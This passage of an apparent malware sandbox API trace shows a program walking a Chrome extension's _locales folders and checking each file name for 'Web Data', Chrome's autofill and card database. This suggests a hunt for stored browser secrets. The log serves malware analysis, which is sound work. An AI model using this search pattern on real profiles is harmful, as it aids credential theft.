lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.395] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.395] lstrlenA (lpString="et") returned 2 [0056.395] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.395] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.395] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et" [0056.395] LocalFree (hMem=0x2e0100) returned 0x0 [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et") returned 131 [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et") returned 131 [0056.395] lstrlenA (lpString="\\*.*") returned 4 [0056.395] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.395] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et" [0056.395] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*.*" [0056.395] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.395] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.395] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.395] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.395] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.395] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.395] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.395] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.395] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.395] LocalFree (hMem=0x2e0100) returned 0x0 [0056.395] LocalFree (hMem=0x2e0210) returned 0x0 [0056.395] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.395] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.395] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.395] lstrlenA (lpString="\\") returned 1 [0056.395] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.395] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.395] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.395] lstrlenA (lpString="fi") returned 2 [0056.395] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.396] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi" [0056.396] LocalFree (hMem=0x2e0100) returned 0x0 [0056.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi") returned 131 [0056.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi") returned 131 [0056.396] lstrlenA (lpString="\\*.*") returned 4 [0056.396] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.396] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi" [0056.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*.*" [0056.396] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.396] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.396] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.396] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.396] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.396] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.396] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.396] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.396] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.396] LocalFree (hMem=0x2e0100) returned 0x0 [0056.396] LocalFree (hMem=0x2e0210) returned 0x0 [0056.396] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.396] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.396] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.396] lstrlenA (lpString="\\") returned 1 [0056.396] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.396] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.396] lstrlenA (lpString="fil") returned 3 [0056.396] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2e0210 [0056.396] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil" [0056.396] LocalFree (hMem=0x2e0100) returned 0x0 [0056.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil") returned 132 [0056.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil") returned 132 [0056.396] lstrlenA (lpString="\\*.*") returned 4 [0056.396] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2e0320 [0056.396] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil" [0056.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*.*" [0056.396] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.397] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.397] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.397] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.397] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.397] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.397] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.397] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.397] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.397] LocalFree (hMem=0x2e0320) returned 0x0 [0056.397] LocalFree (hMem=0x2e0210) returned 0x0 [0056.397] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.397] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.397] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.397] lstrlenA (lpString="\\") returned 1 [0056.397] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.397] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.397] lstrlenA (lpString="fr") returned 2 [0056.397] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.397] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr" [0056.397] LocalFree (hMem=0x2e0100) returned 0x0 [0056.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr") returned 131 [0056.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr") returned 131 [0056.397] lstrlenA (lpString="\\*.*") returned 4 [0056.397] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.397] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr" [0056.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*.*" [0056.397] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.397] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.397] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.397] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.397] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.397] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.397] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.397] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.397] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.397] LocalFree (hMem=0x2e0100) returned 0x0 [0056.397] LocalFree (hMem=0x2e0210) returned 0x0 [0056.397] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.397] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.398] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.398] lstrlenA (lpString="\\") returned 1 [0056.398] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.398] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.398] lstrlenA (lpString="he") returned 2 [0056.398] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.398] lstrcpyA (in: 